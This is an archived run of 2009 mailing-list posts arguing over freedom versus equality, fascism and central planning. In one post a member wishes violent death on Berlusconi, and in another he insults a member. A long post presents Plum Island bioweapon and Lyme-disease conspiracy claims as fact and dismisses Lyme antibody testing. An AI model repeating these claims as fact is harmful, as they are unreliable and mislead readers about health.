Re: [VoB]:freedom and/or equality > > neither. > I prefer equal liberty. > > Harry > > ----- Original Message ----- > From: Jeff Fink > Date: Thursday, May 28, 2009 11:31 am > Subject: [VoB]:freedom and/or equality > >> Would you prefer to live in a society that guarantees equal >> opportunity, or >> one that guarantees equal outcome? >> >> >> >> Jeff >> >> > > > > From vortexb-l-request@eskimo.com Thu May 28 11:20:31 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4SIKSWf024364; Thu, 28 May 2009 11:20:28 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4SIKK91024311; Thu, 28 May 2009 11:20:20 -0700 Resent-Date: Thu, 28 May 2009 11:20:20 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 28 May 2009 11:20:11 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:freedom and/or equality Message-ID: <20090528182011.GA18152@shell.resist.ca> Reply-To: grok@resist.ca References: <298e62298947.298947298e62@ncf.ca> <53B7112ACEA644E2850C2B3E72DDF907@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <53B7112ACEA644E2850C2B3E72DDF907@REVTEC1> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Tu-22M, No-dong, Operation Chrome Dome, Paeutudan-1, aerial tankers User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4251 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 493 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Jeff Fink mounted the barricade and roared out: > What is the difference between opportunity and liberty in your opinion? > > Jeff > > -----Original Message----- > From: Harry Veeder [mailto:hveeder@ncf.ca] > Sent: Thursday, May 28, 2009 12:16 PM > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:freedom and/or equality > > neither. > I prefer equal liberty. > > Harry > > ----- Original Message ----- > From: Jeff Fink > Date: Thursday, May 28, 2009 11:31 am > Subject: [VoB]:freedom and/or equality > > > Would you prefer to live in a society that guarantees equal > > opportunity, or > > one that guarantees equal outcome? > > > > > > > > Jeff Youse are setting up false dichotomonies -- as usual -- but one beloved of bourgeois ideologs and propagandists for well over a century, certainly. And of course, this is the usual 'Idealism vs. Materialism' crapola. But the way things ACTUALLY are is as Anatole France famously wrote: "The [bourgeois] law in all its majestic equality, forbids the rich as well as the poor to sleep under bridges, to beg in the streets, and to steal bread." And I think we should all be familiar with how the pious words AND intent of the U.S. Constitution not only allowed for centuries of brutal mass chattel slavery to continue -- but to continue on for almost a century more. And which is a state of primitive capitalist accumulation (i.e.'super-profits') which the slavocracy -- and its intellectual descendents even to today -- have tried repeatedly to extend to the rest of the Planet, by means of Yanqui Empire. And even today again: the U.S. is a *poisoned* place, where these actual and intellectual descendents of the defeated slaveowners STILL hold dangerous sway over much of society... y'all. hyuck. So -- so much for fine words. Give me bread FIRST, please. As Bertolt Brecht famously wrote as well: "Erst kommt das Fressen Dann kommt die Moral" (First the grub. Then the morality). So to HELL with your bourgeois "freedoms" as ends in themselves. We HATE them so much, you see. Pffft. NEXT phony argument..! - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoe1dsACgkQXo3EtEYbt3EoiACg6TxT9rjVerh7ou2TRFrQrpLG h9sAoPVN02DCEicDJfg8ftV0gU5n8u1k =2LIr -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 28 12:28:30 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4SJSRd9023764; Thu, 28 May 2009 12:28:27 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4SJSNcj023742; Thu, 28 May 2009 12:28:23 -0700 Resent-Date: Thu, 28 May 2009 12:28:23 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 28 May 2009 12:28:13 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Human Nature and fish Message-ID: <20090528192813.GC18152@shell.resist.ca> Reply-To: grok@resist.ca References: <20090527192018.GC23886@shell.resist.ca> <20090527220800.GE17182@shell.resist.ca> <7jjr1557h4112otbrqtinks8r32bh20522@4ax.com> <20090527235551.GK17182@shell.resist.ca> <63ffa6020905271719j718505cdoa446ae93eee399cc@mail.gmail.com> <20090528003429.GM17182@shell.resist.ca> <63ffa6020905271751y6bdc4994t7a64b42a07c67ab4@mail.gmail.com> <20090528020121.GB18536@shell.resist.ca> <63ffa6020905272235w19df451fmd8028e7110d2dadb@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905272235w19df451fmd8028e7110d2dadb@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Tu-22M, No-dong, Operation Chrome Dome, Paeutudan-1, aerial tankers User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <7X50rD.A.zyF.XXuHKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4252 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 494 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Adolf Hitler stated in *Mein > Kampf* that "the attitude of the State towards capital would be > comparatively simple and clear. Its only object would be to make sure that > capital remained subservient to the State" and also made a clear distinction > between "capital which is purely the product of creative labour and ... > capital which is exclusively the result of financial speculation" > [10]. > The principal reference, of the anti-capitalism in fascism is probably > Gottfried > Feder , Adolf > Hitlermet him in summer > 1919, and Feder became his mentor in > finance and economics. He was the > inspirator of Hitler's > oppositionto > "Jewish finance capitalism." > [11] . In Mein > Kampf, Hitler talked about the "Manifesto for the Abolition of Interest > Slavery", and he gave a recognition to Gottfried Feder, the ideals exposed > in the manifesto are in the principal 25 points of the National Socialist > Party, points that were supposed to never change, specifically the > opposition to the, interest slavery which is seen in the Eleventh point > which state "The abolition of incomes unearned by work, *The breaking of the > slavery of interest*" which may also be seen in the eighteenth point which > says "We demand the ruthless prosecution of those whose activities are > injurious to the common interest. Common criminals, usurers, profiteers, > etc., must be punished with death, whatever their creed or race". And we ALL go by what Hitler said, right..? Fascists are PATHOLOGICAL LIARS, for one thing, fella -- as, of course, are today's U.S. fascists: the "neoconservatives". Fact of the matter is: fascism **is capitalism w/o the "Democracy"**: pure, NEKKED capitalism. Capitalism in crisis. What *youse all* are confoozed about here is the resultant CORPORATIST nature of this particular politikal-ekonomik setup. And so for one thing, you do not in the least grasp the REASONS fascism came to be. Which are really simple actually: the need for the bourgeoisie -- any bourgeoisie -- to defeat a STRONG and DANGEROUS and ORGANIZED working-class. And when the working-class was STRONG and ORGANIZED, it was *quite* expedient for the fascists to rally BOTH the disaffected petit-bourgeoisie AND alienated and disoriented workers together under a banner which was BOTH "nationalist" AND "socialist"... And of course, YOUR type falls for this garbage even today. Hypocritically so, of course: i.e. you'll try any trick to win this argument -- even drawing superficial comparions between "socialism" and "[national] socialism". Hyuck. Without of course understanding ANYTHING about the historical context of all this. As if that matters here, eh..? And so: this is why U.S./EU fascism *today* loox -- superficially -- like such a different cat: **because it's dealing with a working-class that has been essentially knocked flat on its ass**. And for the longest time too. And we're all gonna PAY for that festering fact exactly NOW, Bubbas... And man -- I hope they string up and gut Berlusconni the way they did Mussolini. And the sooner the better too. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoe5cwACgkQXo3EtEYbt3FWrQCaAiY/1s9HikE8FXvLNIQ/Zeoo LxgAoLBlFfZntcW3WZDBhOurSrx2G8ZB =vnFy -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 28 13:19:34 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4SKJSpj010793; Thu, 28 May 2009 13:19:28 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4SKJRZB010781; Thu, 28 May 2009 13:19:27 -0700 Resent-Date: Thu, 28 May 2009 13:19:27 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Jeff Fink" To: References: <298e62298947.298947298e62@ncf.ca> <53B7112ACEA644E2850C2B3E72DDF907@REVTEC1> Subject: RE: [VoB]:freedom and/or equality Date: Thu, 28 May 2009 16:19:23 -0400 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 In-Reply-To: Thread-Index: AcnfuJcsSPGHJyY+RsulZ26d64aBhgAFfqlw Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4253 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 495 The only thing I see as the difference after checking my dictionary is that an opportunity is a chance whereas a liberty is supposed to be a right. As rights go, what we have on paper and what we have in actuality is not necessarily the same. Have you considered the possibility that freedom and equality are mutually exclusive concepts. Jeff -----Original Message----- From: leaking pen [mailto:itsatrap@gmail.com] Sent: Thursday, May 28, 2009 1:19 PM To: vortexb-l@eskimo.com Subject: Re: [VoB]:freedom and/or equality This. I fail to see a difference. On Thu, May 28, 2009 at 10:12 AM, Jeff Fink wrote: > What is the difference between opportunity and liberty in your opinion? > > Jeff > > -----Original Message----- > From: Harry Veeder [mailto:hveeder@ncf.ca] > Sent: Thursday, May 28, 2009 12:16 PM > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:freedom and/or equality > > neither. > I prefer equal liberty. > > Harry > > ----- Original Message ----- > From: Jeff Fink > Date: Thursday, May 28, 2009 11:31 am > Subject: [VoB]:freedom and/or equality > >> Would you prefer to live in a society that guarantees equal >> opportunity, or >> one that guarantees equal outcome? >> >> >> >> Jeff >> >> > > > > From vortexb-l-request@eskimo.com Thu May 28 13:29:28 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4SKTCGE031390; Thu, 28 May 2009 13:29:17 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4SKTALf031367; Thu, 28 May 2009 13:29:10 -0700 Resent-Date: Thu, 28 May 2009 13:29:10 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 28 May 2009 13:29:01 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:freedom and/or equality Message-ID: <20090528202900.GA28477@shell.resist.ca> Reply-To: grok@resist.ca References: <298e62298947.298947298e62@ncf.ca> <53B7112ACEA644E2850C2B3E72DDF907@REVTEC1> <20090528182011.GA18152@shell.resist.ca> <39F6630F17B9425CBD54C15C9D1B255C@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <39F6630F17B9425CBD54C15C9D1B255C@REVTEC1> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Sierra Vista, USS Mason, Islamic party, Rossiya, secret police User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4254 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 496 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Jeff Fink mounted the barricade and roared out: > Gee Grok, > > I just asked a simple question and you are going bonkers on me. I must be > getting close to some undeniable truth. > > Jeff > > P.S. could you please stop the commie jargon. If I see the word "bourgeois" > one more time I might puke. What nerve. Fuck off, eh? Can you do that for me..? - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoe9AwACgkQXo3EtEYbt3GrIwCg9IB6k+mGwrxBKYHBgohGrrdx C7cAoNdqgG1AYq1Klbikl1Pbr8OGNrlm =aqJV -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Thu May 28 13:35:40 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4SKZXTT019749; Thu, 28 May 2009 13:35:34 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4SKZXU6019741; Thu, 28 May 2009 13:35:33 -0700 Resent-Date: Thu, 28 May 2009 13:35:32 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-POP-User: cen02900.centurytel.net Sender: jack@mail938c35.nsolutionszone.com Message-ID: <4A1EF2E7.130D1D31@centurytel.net> Date: Thu, 28 May 2009 20:24:07 +0000 From: "Taylor J. Smith" X-Mailer: Mozilla 3.0C-Caldera (X11; I; Linux 2.2.5-15 i486) MIME-Version: 1.0 To: vortexb-l@eskimo.com References: <20090527045107.GB21543@shell.resist.ca> <20090527192018.GC23886@shell.resist.ca> <20090527220800.GE17182@shell.resist.ca> <7jjr1557h4112otbrqtinks8r32bh20522@4ax.com> <20090527235551.GK17182@shell.resist.ca> <63ffa6020905271719j718505cdoa446ae93eee399cc@mail.gmail.com> <20090528003429.GM17182@shell.resist.ca> <63ffa6020905271751y6bdc4994t7a64b42a07c67ab4@mail.gmail.com> <20090528020121.GB18536@shell.resist.ca> <63ffa6020905272235w19df451fmd8028e7110d2dadb@mail.gmail.com> Content-Type: text/plain; charset=us-ascii; name="xg" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="xg" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4255 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:central planning Status: O X-Status: X-Keywords: X-UID: 497 Charles HOPE wrote on 5-28-09: ... Unless you would like to pick up where you left off and attempt to defend the Labor Theory of Value, grok wrote on 5-28-09: I think this line of "dialog" has petered out into nothing ... grok wrote on 5-25-09: But the answer to 'prosperity for all' is a World socialist planned ekonomy. Nothing less will do the job. Jack writes: 5-28-09 Let's return to the subject of central planning. First of all, some background information: 1945 Project Paperclip begins to import Nazis into the United States. http://www.rense.com/general67/plumislandlyme.htm http://ftrsummary.blogspot.com/2009_01_01_archive.html http://bionity.com/lexikon/e/Erich_Traub/ ``Dr. Erich Traub was a Nazi germ warfare scientist allegedly smuggled into the United States in 1949 from the former Soviet Union under the auspices of the top secret United States government program Operation Paperclip ... Dr. Traub is known as the father of the Plum Island biological research lab, located 6 miles from Old Lyme, Connecticut. [See] the book Lab 257, by author Michael Carroll ... http://barnesandnoble.com/Lab-257/Michael-Christopher-Carroll/e/9780641732324 Carroll ... cites a 1978 US Department of Agriculture (UDSA) document titled "African Swine Fever," which further confirms the study of vector competence in ticks on Plum Island ... http://wikipedia.org/wiki/John_Loftus In the book, The Belarus Secret, author John Loftus, the Justice Department employee who exposed Kurt Waldheim as a Nazi, states that Nazi germ warfare scientists had experimented with poison ticks dropped from planes to spread rare diseases. Loftus also states that he had received information that the United States had tested some of these poison ticks on the Plum Island artillery range off the coast of Connecticut during the early part of the 1950s ... The Lyme disease outbreak was identified about the time of the Swine Fever tick study conducted on Plum Island ...'' January 9, 1977 The New York daily Newsday says the CIA was involved in introducing a virus into Cuba which in 1971 caused an outbreak of African swine fever, causing the destruction of at least 300,000 pigs. http://atheistnexus.org/forum/topics/swine-flu-paranoia Swine Flu [H1N1] Paranoia, by Nano ``... I'm not usually all that prone to conspiracy theories but too many pieces are coming together for me concerning swine flu. I'm reading a book called Lab 257 by a man named Michael Carroll. Published in 2005, the book tells the true story of Plum Island, a small bio-weapons laboratory set up by the US government in the early 1950s. Plum Island is a short distance up Long Island Sound from New York City. The first director at the facility was a former Nazi named Erich Traub, who continued Nazi experiments using ticks as a carrier for disease. He reportedly released infected ticks onto Plum Island as part of his studies. In the mid 70s, the first reported cases of Lyme Disease, over thirty children and a dozen adults, surfaced in Lyme, Connecticut two miles across Long Island Sound from Plum Island. An easy swim for the deer that often made the crossing to feed there. Lyme disease is, of course, carried by deer ticks. A West Nile Virus outbreak in 1999 that infected horses within a five mile radius of the facility and the subsequent human infections, and a 1967 Dutch duck enteritis outbreak that decimated the Long Island duck industry both share the Plum Island facility as a nexus ... All of this so far is from the book. And then I did a bit of Googling to find that the St. Francis Preparatory School in Queens is right down Long Island Sound from Plum Island. St. Francis, of course, is the current ground zero for American cases of swine flu with over forty and over a hundred suspected cases. What if those kids didn't get swine flu in Mexico? What if they took it there? And a bit more to think about: One of Plum Island's earliest studies involved swine fever, which is not swine flu [H1N1]; ... swine fever is transmitted by ticks. Think about it.'' August, 2006 George W. Bush treated for Lyme disease http://myatltv.com/news/article_news.aspx?storyid=101404 What about Lyme brain fog and Lyme rage? http://yahoo.com/buzzlog/92276 http://wfsb.com/news/18726175/detail.html http://stltoday.com/stltoday/news/stories.nsf/laworder/story/DEB1CA304D8EA6198625757400146485?OpenDocument Commentator 1 wrote: ``Someone probably gave Bush three weeks of antibiotics and declared him cured -- faith-based medicine -- more impressive if accompanied by rattle dancing. [Bush may be receiving continuous antibiotic treatment and consultation with top chronic Lyme specialists, analogous to the luxurious life-style of the Russian Stalinist leaders.] A "cure" means no spirochetes can be photographed in blood or other tissues WHEN STAINED FOR LYME. It cannot be over-emphasized that tests for antibodies (ELISA and Western Blot) are a waste of time and money. Bush's doctors must have known that; otherwise they would have ordered the tests. The only tests that count are tests that can photomicrograph the stained Lyme spirochetes. I think direct tests may be opposed by the insurance companies (and we know whom the Bush Administration listens to) because thay could reveal the real extent of the Lyme epidemic. Better to save a few bucks and have a fatigued, neuro-sclerotic population operating at low productivity.'' http://empirestatelymediseaseassociation.org/CureUnknown.htm Was this one of the more virulent strains of Lyme spirochetes (bacteria) developed at Plum Island by Erich Traub (practical eugenics?), carried by more aggressive species of ticks? {for example new breeds of Ablyomma americanum (the Lone Star tick), Ablyomma cajunense (the Cayenne tick), and the Deer Tick?}'' Jack writes: As the Nazis demonstrated, total central planning is consistent with private ownership (private ownership of the means of production). Lenin and Stalin demonstrated that total central planning is also consistent with state ownership of the means of production. Who had the greater success? Albert Speer was able to dramatically increase German war production despite Allied bombing and a large percentage of German males in the military -- Speer was able to run German factories with slave labor. But, the battle of Kursk should be the measure of success. The Russians were able to outnumber the Germans with tanks, artillery, and infantry. The German tick warfare initiative was probably aimed more at ruling the slavic peoples than at conquering them. Central planners would prefer tick diseases because most people would still be able to work (or put in their time in a society where robots did most of the work) but would be too weak and miserable to cause trouble. Jack Smith wrote on 5-25-09: At this moment, if a Sweden-type health care system existed in the US, I would not legally be able to receive treatment for chronic Lyme disease because the medical establishment would have the power to forbid it. grok wrote on 5-25-09: This is a stupid and hypocritical statement. A lie, AFAIC. How can you so baldly state that there would not be proper treatment for Lyme disease under 'socialized' medicine..?? Jack again wrote on 5-25-09: For documentation of the persecution of those with chronic Lyme disease, please see http://www.avonhistory.org/bug/bugwar.htm A good question is "why the persecution?" Part of the answer is that it is in the interest of big pharma to sell expensive anti-immune-response drugs to those diagnosed with multiple sclerosis, Lou Gehrig's disease, etc. rather than relatively cheap antibiotics. Why don't the insurance companies object? Maybe they don't want the extent of the Lyme epidemic to be revealed, requiring them to pay for the treatment of many more people, who are now suffering without any treatment at all from joint pain, extreme fatigue, Bell's palsy, TMJ -- Lyme disease is known as the second great imitator. A good book on the subject is "Cure Unknown" by Pamela Weintraub. From vortexb-l-request@eskimo.com Thu May 28 13:51:06 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4SKp3S4011565; Thu, 28 May 2009 13:51:03 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4SKp3OZ011558; Thu, 28 May 2009 13:51:03 -0700 Resent-Date: Thu, 28 May 2009 13:51:03 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <2aa1812a69b6.2a69b62aa181@ncf.ca> Date: Thu, 28 May 2009 16:50:59 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:freedom and/or equality X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Resent-Message-ID: <7tuGN.A.g0C.2kvHKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4256 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 498 Well 9 times out of 10 "equal opportunity" means "competitive equal opportunity", which is the right to compete for a finite number of positions of status in society. That is certainly not the meaning of liberty. Harry ----- Original Message ----- From: leaking pen Date: Thursday, May 28, 2009 1:19 pm Subject: Re: [VoB]:freedom and/or equality > This. I fail to see a difference. > > On Thu, May 28, 2009 at 10:12 AM, Jeff Fink wrote: > > What is the difference between opportunity and liberty in your > opinion?> > > Jeff > > > > -----Original Message----- > > From: Harry Veeder [mailto:hveeder@ncf.ca] > > Sent: Thursday, May 28, 2009 12:16 PM > > To: vortexb-l@eskimo.com > > Subject: Re: [VoB]:freedom and/or equality > > > > neither. > > I prefer equal liberty. > > > > Harry > > > > ----- Original Message ----- > > From: Jeff Fink > > Date: Thursday, May 28, 2009 11:31 am > > Subject: [VoB]:freedom and/or equality > > > >> Would you prefer to live in a society that guarantees equal > >> opportunity, or > >> one that guarantees equal outcome? > >> > >> > >> > >> Jeff > >> > >> > > > > > > > > > > From vortexb-l-request@eskimo.com Thu May 28 13:58:52 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4SKwmKs026984; Thu, 28 May 2009 13:58:48 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4SKwl8V026975; Thu, 28 May 2009 13:58:47 -0700 Resent-Date: Thu, 28 May 2009 13:58:47 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=B6NpL22LhVZwN9lV9FkRh5SA2gTUZeUfRhhIVPayQUM=; b=k9GkzWS00qojyOWlVDKsqsb5LRI+CKWe7oz4uLKfCrSKNT1zRpkrGpJoGKcwpregIA DCKMk9m+gcIHBXg13W0uI7IX9Tx1QtTQpr0rgiXfYY6Se8csXKpsfL2bjGnMubBuhlxf 0yFDJ5ElWad0qnk+6fuS5ZMs8cgvIv0Vwsf0g= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=QroITfupr4R7FmeIV6yG8sMbX6cer43DL66Vp+8KrvsEOFpgiNt5wiRKAxBhuyhbsJ 8zaSJcW3u3rY92Bd1cZWTpZ3SqaDJsvB1KlWc7tKX1dpL0JDWt/1uX9cAXYr/T4P6AYs 0Fa2p61GD/heBz0nOxLleDfAKoAXVdDxh+zhQ= MIME-Version: 1.0 In-Reply-To: References: <298e62298947.298947298e62@ncf.ca> <53B7112ACEA644E2850C2B3E72DDF907@REVTEC1> Date: Thu, 28 May 2009 13:58:48 -0700 Message-ID: Subject: Re: [VoB]:freedom and/or equality From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4257 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 499 No, as all rights automatically include a duty with them. If everyone has the right to free speech, then everyone automatically has a duty to protect and not infringe anothers free speech. Ethics 101 my man. On Thu, May 28, 2009 at 1:19 PM, Jeff Fink wrote: > The only thing I see as the difference after checking my dictionary is th= at > an opportunity is a chance whereas a liberty is supposed to be a right. = =A0As > rights go, what we have on paper and what we have in actuality is not > necessarily the same. > > Have you considered the possibility that freedom and equality are mutuall= y > exclusive concepts. > > Jeff > > -----Original Message----- > From: leaking pen [mailto:itsatrap@gmail.com] > Sent: Thursday, May 28, 2009 1:19 PM > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:freedom and/or equality > > This. =A0I fail to see a difference. > > On Thu, May 28, 2009 at 10:12 AM, Jeff Fink wrote: >> What is the difference between opportunity and liberty in your opinion? >> >> Jeff >> >> -----Original Message----- >> From: Harry Veeder [mailto:hveeder@ncf.ca] >> Sent: Thursday, May 28, 2009 12:16 PM >> To: vortexb-l@eskimo.com >> Subject: Re: [VoB]:freedom and/or equality >> >> neither. >> I prefer equal liberty. >> >> Harry >> >> ----- Original Message ----- >> From: Jeff Fink >> Date: Thursday, May 28, 2009 11:31 am >> Subject: [VoB]:freedom and/or equality >> >>> Would you prefer to live in a society that guarantees equal >>> opportunity, or >>> one that guarantees equal outcome? >>> >>> >>> >>> Jeff >>> >>> >> >> >> >> > > > > From vortexb-l-request@eskimo.com Thu May 28 15:06:22 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4SM6K01005928; Thu, 28 May 2009 15:06:20 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4SM6FIE005886; Thu, 28 May 2009 15:06:15 -0700 Resent-Date: Thu, 28 May 2009 15:06:15 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 28 May 2009 15:06:06 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:freedom and/or equality Message-ID: <20090528220605.GG28477@shell.resist.ca> Reply-To: grok@resist.ca References: <298e62298947.298947298e62@ncf.ca> <53B7112ACEA644E2850C2B3E72DDF907@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Sierra Vista, USS Mason, Islamic party, Rossiya, secret police User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4258 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 500 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, leaking pen mounted the barricade and roared out: > Ethics 101 my man. Youse-all PASSED that course, did youse..? - -- grok. - -- Build the North America-wide General 